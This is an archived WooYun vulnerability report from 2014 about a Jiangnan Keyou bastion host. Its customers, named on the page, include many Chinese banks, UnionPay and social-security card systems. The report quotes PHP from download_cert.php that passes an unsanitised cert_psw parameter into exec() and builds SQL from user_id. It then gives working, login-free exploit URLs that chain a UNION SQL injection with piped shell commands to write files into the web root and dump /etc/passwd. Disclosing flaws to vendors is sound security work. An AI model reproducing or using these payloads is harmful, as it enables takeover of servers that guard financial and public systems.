当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(29) 关注此漏洞

缺陷编号: WooYun-2014-76864

漏洞标题: 江南科友堡垒机远程代码执行漏洞第二弹(无需登录直接写shell)

相关厂商: 江南科友科技股份有限公司

漏洞作者: 狗狗侠认证白帽子

提交时间: 2014-09-23 23:36

公开时间: 2014-12-20 23:38

漏洞类型: 默认配置不当

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-23: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商已经确认,细节仅向厂商公开
2014-09-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-20: 细节向公众公开

简要描述:

详细说明:

详情见

http://**.**.**.**/bugs/wooyun-2014-063604



漏洞涉及客户如下:

国内各大银行:中国银行、民生银行、广东发展银行、平安银行、深圳发展银行、浦发银行、渤海银行总行及各分行、中国工商银行、中国农业银行、中国建设银行、交通银行、招商银行、中信银行、兴业银行、华夏银行、中国邮政储蓄银行总行或部分分行

中国银联:总公司及北京、广州、深圳、南京、福州、长沙、武汉、济南、青岛、沈阳、郑州、海口、天津、香港、厦门等分公司

银联数据:全国卡系统业务托管商业银行

外资银行:渣打银行、东亚银行:全国境内各个分行

外资金融机构:韩亚银行、花旗银行、通用电气、星展银行、美国第一资讯(FDC)

地方商业银行及农村信用社:40余家商业银行及农村信用社

社会保障与公共交通系统:湖北、黑龙江、广东、北京等社保卡安全系统,上海市公交一卡通安全系统,杭州市市民卡系统,长春一汽企业IC卡加密系统,宁波市民卡系统,郑州交通一卡通系统,山东一卡通系统



由于某一页面未对用户参数进行充分考虑,导致用户构造好特殊的数据包达到代码执行,直接写shell,控制整个堡垒机的过程,全程无需登录,一键写shell 。。。一键root ...



代码在system/download_cert.php当中

上关键代码

code 区域
if(isset($_GET['manager']) && isset($_GET['user_id']) && isset($_GET['cert_psw']))
{
$db = new SystemDB();

$cert_msg = $db->getCertById('',$_GET['user_id'],$_GET['manager']);

if(!empty($cert_msg))
{
$cmd = "openssl pkcs12 -export";
if(!empty($_GET['cert_psw']))
{
$cmd .= " -password pass:".$_GET['cert_psw'];
}
else
{
$cmd .= " -password pass:";
}
$cmd .= " -inkey /usr/local/keyou/Config/certs/".$cert_msg[0]['serial_no'].".key -in /usr/local/keyou/Config/certs/".$cert_msg[0]['serial_no'].".pem -out /usr/local/apache2/htdocs/project/www/download/".$cert_msg[0]['serial_no'].".pfx";
//echo $cmd;
exec($cmd);





一条条分析,当存在manager user_id cert_psw 这3个变量执行下面的语句

关键变量如下$cert_msg 如果它存在则可以执行下面的语句了。因为下面有个exec($cmd);

如果能控制$cmd ,那就是直接命令执行了,导致可以任意写文件,写shell 控制服务器了。。。

我们怎么控制$cmd?

$cmd .= " -password pass:".$_GET['cert_psw']; 这里的$_GET['cert_psw']是可控的,但是有条件。。要$cert_msg 不为空才能执行



如何确保$cert_msg不为空? 这里就需要$cert_msg = $db->getCertById('',$_GET['user_id'],$_GET['manager']); 这句执行的内容返回值不为空了。

我们看看getCerById方法吧

code 区域
public function getCertById($id=null,$user_id=null,$userflag=null) 
{
try
{
if(!empty($id) && empty($user_id))
$sql = "select * from cert where id = ".$id;
else if(empty($id) && !empty($user_id))
{
$sql = "select * from cert where user_id=".$user_id." and userflag=".$userflag;
}
//echo $sql;
$stmt = $this->dbh->prepare($sql);
$stmt->execute();
$set = $stmt->fetchAll();
return $set;
}





所以我们控制其中user_id的值就行,我们采用一个union查询保证他返回的内容为真,然后后面的语句注释掉。。

通过一步步测试cert的字段为13个。。。

所以就好办了。。

所以我们GET获取userid 设置为:-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13-- a 即可。。就能确保上面返回为真了。



然后我们控制cert_psw变量即可。。。然后任意写shell。。。直接控制服务器了

exp如下: (无需登录)

**.**.**.**/system/download_cert.php?cert_psw=3| echo 3333 > /usr/local/apache2/htdocs/project/www/upload/fuck.txt&user_id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13-- a&manager=1



直接写shell的话,爆路径方法如下:

**.**.**.**/system/download_cert.php?down_cret=1

1.jpg



2.jpg



所以直接执行系统命令,直接了当的就控制了堡垒机。。。

**.**.**.**/system/download_cert.php?cert_psw=3| cat /etc/passwd >> /usr/local/apache2/htdocs/project/www/upload/fuck.txt |&user_id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13-- a&manager=1

3.jpg

漏洞证明:

**.**.**.**/system/download_cert.php?down_cret=1

1.jpg



2.jpg



所以直接执行系统命令,直接了当的就控制了堡垒机。。。

**.**.**.**/system/download_cert.php?cert_psw=3| cat /etc/passwd >> /usr/local/apache2/htdocs/project/www/upload/fuck.txt |&user_id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13-- a&manager=1

3.jpg

修复方案:

版权声明:转载请注明来源 狗狗侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-09-26 10:15

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-09-22 09:26 | pandas ( 普通白帽子 | Rank:701 漏洞数:51 | 国家一级保护动物)
    0

    默默关注

  2. 2014-09-26 11:03 | 10457793 ( 普通白帽子 | Rank:1047 漏洞数:40 | You are on my list!)
    0

    默默关注

  3. 2014-12-21 10:12 | 影刺 ( 普通白帽子 | Rank:108 漏洞数:32 | 关注web安全)
    1

    卧槽,通杀银行。

登录后才能发表评论,请先 登录